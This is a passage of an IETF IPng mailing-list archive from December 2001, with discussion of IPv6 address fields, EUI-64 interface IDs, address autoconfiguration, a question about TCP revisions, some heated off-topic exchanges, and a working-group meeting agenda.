OAA15211 for ; Mon, 3 Dec 2001 14:30:41 -0800 (PST) Received: from cgocable.net (d141-54-6.home.cgocable.net [24.141.54.6]) by fep3.cogeco.net (Postfix) with ESMTP id 9C4582B20 for ; Mon, 3 Dec 2001 17:30:36 -0500 (EST) Message-ID: <3C0BFE20.2A24E9EC@cgocable.net> Date: Mon, 03 Dec 2001 17:35:12 -0500 From: ryan elson X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: "one true protocol" References: Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Well I think sending useless information is sending useless information...period. If it is some filling that is needed to make routers more efficient, couldn't there be a device within the router that actually gives the packet it's useless filling? Why bother have that useless filling at all? Why not just have computers send out a forced size packet and then build the routing around that size (which could be increased or decreased if needed), so why the useless filling? I think it would be much more efficient if everything inside that packet contained tangeable, useful information, don't you? I think things are heading in a direction we are going to regret, albeit not right away in the future, perhaps even beyond out own lifetimes (or maybe even during them) but I think the only limitation to IP protocol are the limitations groups that construct newer revisions place on them. Why limit things at all and why facilitate the trasmission of junk? Damien Mascré wrote: > Don't forget that the low 8 bytes are not always > ramdomly choosed and that having a rigid format > for the packet is cute because the routers > can handle the packets more faster, and so, > it results in an increased bandwidth.... > > > -----Message d'origine----- > > De : owner-ipng@sunroof.eng.sun.com > > [mailto:owner-ipng@sunroof.eng.sun.com]De la part de Jim Fleming > > Envoyé : lundi 3 décembre 2001 15:40 > > À : Brian E Carpenter; ipng@sunroof.eng.sun.com > > Objet : Re: "one true protocol" > > > > > > When you design protocols with 128 bit address fields, and then you > > proceed to place non-routable, random numbers, in the right-most 64 bits > > of each field, that results in 16 bytes of the 40 byte header > > being wasted. > > Those wasted bytes help to slow networks down and increase the need > > for bandwidth. Such protocols will not likely be desired by people who > > pay for bandwidth and people who like performance computing. While > > such designs might be interesting academic exercises, and might be useful > > in landing large government grants based on some artificial need for more > > bandwidth, they are not considered engineering progress for the commercial > > sector which builds networks that real people use in everyday > > life, especially > > in the United States of America. > > > > Jim Fleming > > http://www.IPv8.info > > IPv16....One Better !! > > > > > > ----- Original Message ----- > > From: "Brian E Carpenter" > > To: > > Sent: Monday, December 03, 2001 3:53 AM > > Subject: Re: "one true protocol" > > > > > > > Yes, it is really slow to filter out stuff with the string "Jim Fleming" > > > in the message body. > > > > > > Brian > > > > > > Pekka Savola wrote: > > > > > > > > Hi, > > > > > > > > Please keep Jim Fleming in Cc: in threads initiated by Mr. > > Fleming. That > > > > way our filters have better chance of "storing" these threads to where > > > > they belong to. > > > > > > > -------------------------------------------------------------------- > > > IETF IPng Working Group Mailing List > > > IPng Home Page: http://playground.sun.com/ipng > > > FTP archive: ftp://playground.sun.com/pub/ipng > > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > > -------------------------------------------------------------------- > > > > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 16:21:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB40LAHt001295 for ; Mon, 3 Dec 2001 16:21:10 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB40LAep001294 for ipng-dist; Mon, 3 Dec 2001 16:21:10 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB40L6Ht001287 for ; Mon, 3 Dec 2001 16:21:08 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fB40KoNE002492 for ; Mon, 3 Dec 2001 16:20:50 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fB40KoYg002491 for ipng@sunroof.eng.sun.com; Mon, 3 Dec 2001 16:20:50 -0800 (PST) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB16NG1V023251 for ; Fri, 30 Nov 2001 22:23:16 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA16468 for ; Fri, 30 Nov 2001 22:23:17 -0800 (PST) Received: from tree.custom-access.net (tree.custom-access.net [217.24.128.14]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA04908 for ; Fri, 30 Nov 2001 22:23:15 -0800 (PST) Received: from localhost (benc-bulk#hawaga.org.uk@localhost) by tree.custom-access.net (8.9.3/8.9.3) with ESMTP id GAA09579; Sat, 1 Dec 2001 06:23:09 GMT Date: Sat, 1 Dec 2001 06:23:07 +0000 (UCT) From: Ben Clifford X-Sender: benc-bulk#hawaga.org.uk@tree.custom-access.net To: Huber Matthias cc: "'ipng@sunroof.eng.sun.com'" Subject: Re: Address Resolution with ND verus MAC address from the EUI-64 form at In-Reply-To: <7B1735C6A971D311BB020008C71E8F9F0140B298@MCHH228E> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 28 Nov 2001, Huber Matthias wrote: > On the other hand I have learned that all global aggregatable unicast addresses have to > use the EUI-64 format for the interface ID. At least in a Ethernet (I think this is > the majority of the LANs today) this EUI-64 ID is derived from the MAC address in > an reversible way. (Simply adding/removing 0xFFFE in the "middle"). So my question is > why do I need the ND in a LAN in order to do the address resolution ??? > I know that there must be a simple reason, but I don't know it. As far as I can see in the latest addressing draft, there is no requirement that the EUI-64 be derived from the MAC address of the particular ethernet card in question. RFC 2464 only mentions the use of MAC address in regards to stateless autoconfiguration. The EUI-64 could be formed manually, by setting the Universal/Local bit to Local and then filling in the rest of the ID with anything. This is totally unrelated to the MAC address. Ben -- Ben Clifford benc@hawaga.org.uk http://www.hawaga.org.uk/ben/ Currently seeking employment in Los Angeles: http://www.hawaga.org.uk/resume/ IPv6 only webserver at: http://edge.ipv6.hawaga.org.uk:81/ben/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 16:24:00 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB40NxHt001357 for ; Mon, 3 Dec 2001 16:23:59 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB40NxSB001356 for ipng-dist; Mon, 3 Dec 2001 16:23:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB40NvHt001349 for ; Mon, 3 Dec 2001 16:23:58 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fB40NgNE002536 for ; Mon, 3 Dec 2001 16:23:42 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fB40Ng2H002535 for ipng@sunroof.eng.sun.com; Mon, 3 Dec 2001 16:23:42 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3JCPHt000256 for ; Mon, 3 Dec 2001 11:12:25 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA26864 for ; Mon, 3 Dec 2001 11:12:25 -0800 (PST) Received: from ural2.hszk.bme.hu (ural2.hszk.bme.hu [152.66.130.2]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA19268 for ; Mon, 3 Dec 2001 12:12:53 -0700 (MST) Received: (from nd202@localhost) by ural2.hszk.bme.hu (8.11.3/8.11.3) id fB3JCN003653; Mon, 3 Dec 2001 20:12:23 +0100 (MET) Date: Mon, 3 Dec 2001 20:12:23 +0100 (MET) From: Nemeth Daniel X-X-Sender: nd202@ural2 To: ipng@sunroof.eng.sun.com Subject: Re: address autoconfiguration In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi! Thank you for the informations about the DHCP internet-draft. It seems to me that it answers some questions of mine. I hope somebody can give me useful ideas about my other question too. Where can I find statistics, mesurement results about stateless and stateful address autoconfiguration methods (in IPv6 test networks)? How much time does it take to get an address using these methods (, with some variable parameters of the tested network)? If any of you knows an URL where something like this is online, please inform me. Thanks, Daniel ____________________________________________________________________________ Nemeth Daniel 9030 Gyor, Dinnyes u. 26. T:96/332-233 nd202@hszk.bme.hu SCH 1106 T:1/372-51-00/1106 ____________________________________________________________________________ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 17:09:39 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB419dHt001586 for ; Mon, 3 Dec 2001 17:09:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB419d1k001585 for ipng-dist; Mon, 3 Dec 2001 17:09:39 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB419ZHt001578 for ; Mon, 3 Dec 2001 17:09:35 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA13772 for ; Mon, 3 Dec 2001 17:09:35 -0800 (PST) Received: from fep7.cogeco.net (smtp.cogeco.net [216.221.81.25]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA18465 for ; Mon, 3 Dec 2001 17:09:34 -0800 (PST) Received: from cgocable.net (d141-54-6.home.cgocable.net [24.141.54.6]) by fep7.cogeco.net (Postfix) with ESMTP id 221F454D3 for ; Mon, 3 Dec 2001 20:09:33 -0500 (EST) Message-ID: <3C0C2360.AB8172AB@cgocable.net> Date: Mon, 03 Dec 2001 20:14:09 -0500 From: ryan elson X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: "one true protocol" Content-Type: multipart/mixed; boundary="------------53503384E2B28F487F2C3112" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. --------------53503384E2B28F487F2C3112 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit --------------53503384E2B28F487F2C3112 Content-Type: message/rfc822 Content-Transfer-Encoding: 8bit Content-Disposition: inline X-Mozilla-Status2: 00000000 Message-ID: <3C0BFE20.2A24E9EC@cgocable.net> Date: Mon, 03 Dec 2001 17:35:12 -0500 From: ryan elson X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: "one true protocol" References: Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Well I think sending useless information is sending useless information...period. If it is some filling that is needed to make routers more efficient, couldn't there be a device within the router that actually gives the packet it's useless filling? Why bother have that useless filling at all? Why not just have computers send out a forced size packet and then build the routing around that size (which could be increased or decreased if needed), so why the useless filling? I think it would be much more efficient if everything inside that packet contained tangeable, useful information, don't you? I think things are heading in a direction we are going to regret, albeit not right away in the future, perhaps even beyond out own lifetimes (or maybe even during them) but I think the only limitation to IP protocol are the limitations groups that construct newer revisions place on them. Why limit things at all and why facilitate the trasmission of junk? Damien Mascré wrote: > Don't forget that the low 8 bytes are not always > ramdomly choosed and that having a rigid format > for the packet is cute because the routers > can handle the packets more faster, and so, > it results in an increased bandwidth.... > > > -----Message d'origine----- > > De : owner-ipng@sunroof.eng.sun.com > > [mailto:owner-ipng@sunroof.eng.sun.com]De la part de Jim Fleming > > Envoyé : lundi 3 décembre 2001 15:40 > > À : Brian E Carpenter; ipng@sunroof.eng.sun.com > > Objet : Re: "one true protocol" > > > > > > When you design protocols with 128 bit address fields, and then you > > proceed to place non-routable, random numbers, in the right-most 64 bits > > of each field, that results in 16 bytes of the 40 byte header > > being wasted. > > Those wasted bytes help to slow networks down and increase the need > > for bandwidth. Such protocols will not likely be desired by people who > > pay for bandwidth and people who like performance computing. While > > such designs might be interesting academic exercises, and might be useful > > in landing large government grants based on some artificial need for more > > bandwidth, they are not considered engineering progress for the commercial > > sector which builds networks that real people use in everyday > > life, especially > > in the United States of America. > > > > Jim Fleming > > http://www.IPv8.info > > IPv16....One Better !! > > > > > > ----- Original Message ----- > > From: "Brian E Carpenter" > > To: > > Sent: Monday, December 03, 2001 3:53 AM > > Subject: Re: "one true protocol" > > > > > > > Yes, it is really slow to filter out stuff with the string "Jim Fleming" > > > in the message body. > > > > > > Brian > > > > > > Pekka Savola wrote: > > > > > > > > Hi, > > > > > > > > Please keep Jim Fleming in Cc: in threads initiated by Mr. > > Fleming. That > > > > way our filters have better chance of "storing" these threads to where > > > > they belong to. > > > > > > > -------------------------------------------------------------------- > > > IETF IPng Working Group Mailing List > > > IPng Home Page: http://playground.sun.com/ipng > > > FTP archive: ftp://playground.sun.com/pub/ipng > > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > > -------------------------------------------------------------------- > > > > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- --------------53503384E2B28F487F2C3112-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 17:25:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB41PtHt001632 for ; Mon, 3 Dec 2001 17:25:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB41Pta4001631 for ipng-dist; Mon, 3 Dec 2001 17:25:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB41PpHt001624 for ; Mon, 3 Dec 2001 17:25:51 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA27787 for ; Mon, 3 Dec 2001 17:25:52 -0800 (PST) Received: from fep2.cogeco.net (smtp.cogeco.net [216.221.81.25]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA26823 for ; Mon, 3 Dec 2001 18:25:51 -0700 (MST) Received: from cgocable.net (d141-54-6.home.cgocable.net [24.141.54.6]) by fep2.cogeco.net (Postfix) with ESMTP id B66BB52BD for ; Mon, 3 Dec 2001 20:25:50 -0500 (EST) Message-ID: <3C0C2732.B8B77D5C@cgocable.net> Date: Mon, 03 Dec 2001 20:30:26 -0500 From: ryan elson X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: "one true protocol" References: <3C0C2360.AB8172AB@cgocable.net> <20011203171923.A19203@pianosa.catch22.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk My own internet protocol? If people were not so ignorant towards YOUR internet protocol they might just think twice of scrapping it instead of paying for the same stuff OVER and OVER and over again. Any of you getting bribed to handle things this way? Is it your job to limit things? Keep innovation under wraps? No wonder there are people you don't want contributing to your list. You guys, microsoft, hardware manufacturers, you are all in bed with each other I swear to god. David Terrell wrote: > On Mon, Dec 03, 2001 at 08:14:09PM -0500, ryan elson wrote: > > Well I think sending useless information is sending useless > > information...period. > > If it is some filling that is needed to make routers more efficient, couldn't > > there be a device within the router that actually gives the packet it's useless > > filling? Why bother have that useless filling at all? Why not just have > > computers send out a forced size packet and then build the routing around that > > size (which could be increased or decreased if needed), so why the useless > > filling? I think it would be much more efficient if everything inside that > > packet contained tangeable, useful information, don't you? I think things are > > heading in a direction we are going to regret, albeit not right away in the > > future, perhaps even beyond out own lifetimes (or maybe even during them) but I > > think the only limitation to IP protocol are the limitations groups that > > construct newer revisions place on them. Why limit things at all and why > > facilitate the trasmission of junk? > > Speaking of facilitating the transmission of junk: > Would you please stop carrying on conversations with Jim Fleming > on the ipng list? If you want your own internet protocol, go set > up your own mailing list. > > -- > David Terrell | "... a grandiose, wasteful drug war that will never > dbt@meat.net | be won as long as so many Americans need to > Nebcorp Prime Minister | anesthetize themselves to get through the day." > http://wwn.nebcorp.com/ | -Camille Paglia -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 18:12:43 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB42ChHt001716 for ; Mon, 3 Dec 2001 18:12:43 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB42ChAu001715 for ipng-dist; Mon, 3 Dec 2001 18:12:43 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB42CdHt001708 for ; Mon, 3 Dec 2001 18:12:39 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA25469 for ; Mon, 3 Dec 2001 18:12:40 -0800 (PST) Received: from whale.cnnic.net.cn ([159.226.6.187]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA29622 for ; Mon, 3 Dec 2001 19:12:18 -0700 (MST) Received: from cnniczh ([159.226.7.114]) by whale.cnnic.net.cn (Netscape Messaging Server 4.15) with SMTP id GNSRJ600.EO8 for ; Tue, 4 Dec 2001 10:13:54 +0800 Message-ID: <024201c17c69$49135aa0$7207e29f@cnniczh> Reply-To: "zhang hong" From: "zhang hong" To: Subject: Why not TCPng? Date: Tue, 4 Dec 2001 10:13:38 +0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello! I'm studying IPv6 and there is a question haunting around me. IPv6 is created to solve the deficiency of IPv4. While AFAIK, there are also some shortage in current TCP/UDP which is the upper layer of IP. But I only see the IPng, why no one touch TCPng or UDPng? There must be some reason for it which I don't know. Can some one kindly enough to tell me why? Forgive me my ignorant. : ) Best regards Zhang Hong -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 18:24:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB42O0Ht001736 for ; Mon, 3 Dec 2001 18:24:00 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB42O0cj001735 for ipng-dist; Mon, 3 Dec 2001 18:24:00 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB42NvHt001728 for ; Mon, 3 Dec 2001 18:23:57 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA27170 for ; Mon, 3 Dec 2001 18:23:58 -0800 (PST) Received: from fep9.cogeco.net (smtp.cogeco.net [216.221.81.25]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA04568 for ; Mon, 3 Dec 2001 19:23:40 -0700 (MST) Received: from cgocable.net (d141-54-6.home.cgocable.net [24.141.54.6]) by fep9.cogeco.net (Postfix) with ESMTP id 779B465FC for ; Mon, 3 Dec 2001 21:23:56 -0500 (EST) Message-ID: <3C0C34D0.7B695475@cgocable.net> Date: Mon, 03 Dec 2001 21:28:32 -0500 From: ryan elson X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "ipng@sunroof.eng.sun.com" Subject: Re: Why not TCPng? References: <024201c17c69$49135aa0$7207e29f@cnniczh> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Forgive me my ignorant? Is that a question? zhang hong wrote: > Hello! > I'm studying IPv6 and there is a question haunting around me. IPv6 is > created to solve the deficiency of IPv4. While AFAIK, there are also some > shortage in current TCP/UDP which is the upper layer of IP. But I only see > the IPng, why no one touch TCPng or UDPng? There must be some reason for it > which I don't know. Can some one kindly enough to tell me why? > Forgive me my ignorant. : ) > > Best regards > Zhang Hong > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 18:31:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB42VRHt001760 for ; Mon, 3 Dec 2001 18:31:27 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB42VRPR001759 for ipng-dist; Mon, 3 Dec 2001 18:31:27 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB42VNHt001752 for ; Mon, 3 Dec 2001 18:31:23 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA02752 for ; Mon, 3 Dec 2001 18:31:24 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA11177 for ; Mon, 3 Dec 2001 19:31:24 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id SAA23981; Mon, 3 Dec 2001 18:31:24 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fB42VNd04940; Mon, 3 Dec 2001 18:31:23 -0800 X-mProtect: Mon, 3 Dec 2001 18:31:23 -0800 Nokia Silicon Valley Messaging Protection Received: from hinden.iprg.nokia.com (4.22.78.78, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com(P1.5 smtpdTxh6m3; Mon, 03 Dec 2001 18:29:23 PST Message-Id: <4.3.2.7.2.20011203180657.01f966f8@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 03 Dec 2001 18:29:08 -0800 To: ipng@sunroof.eng.sun.com From: Bob Hinden Subject: IPv6 working group agenda for Salt Lake City IETF Cc: hinden@iprg.nokia.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk The updated agenda is attached. When we put together the agenda we give priority to current working group activities and documents, new individual submissions, and last to status reports. Thanks, Bob Hinden & Steve Deering ------------------------------------------------------------------------- TUESDAY, December 11, 2001, 0900-1130 Introduction, Steve Deering, 5 min. Review Agenda, Steve Deering, 5 min. Document Status, Bob Hinden, 15 min. Default Address Selection for IPv6, Rich Draves, 15 min. Default Router Preferences and More-Specific Routes, Rich Draves, 15 min. IPv6 Host to Router Load Sharing, Bob Hinden, 15 min. Redundant Address Deletion when Encapsulating IPv6 in IPv6, Steve Deering, 15 min. The IPv6 Payload Header, Francis Dupont, 10 min. Scoped Address Architecture, Tatuya Jinmei, 10 min. An IPv6 Flow Label Specification Proposal, Jarno Rajahalme, 45 min. THURSDAY, December 13, 2001, 0900-1130 DNS Discovery Update, Dave Thaler, 20 min. Using DHCPv6 for DNS Configuration in Hosts, Ralph Droms, 10 min. Recommendations for IPv6 in 3GPP Standards, Margaret Wasserman, 30 min. Minimum IPv6 Functionality for a Cellular Host, John Loughney, 30 min. IPv6 minimum host requirement for low cost network appliances, Nobuo Okabe, 15 min. Threat Analysis for IPv6 Public Multi-Access Links, James Kempf, 20 min. Advanced API, Tatuya Jinmei, 15 min. Host-based IPv6 Multicast Addresses Allocation , Jung-Soo Park, 10 min. --------------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 18:40:09 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB42e8Ht001777 for ; Mon, 3 Dec 2001 18:40:08 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB42e8U2001776 for ipng-dist; Mon, 3 Dec 2001 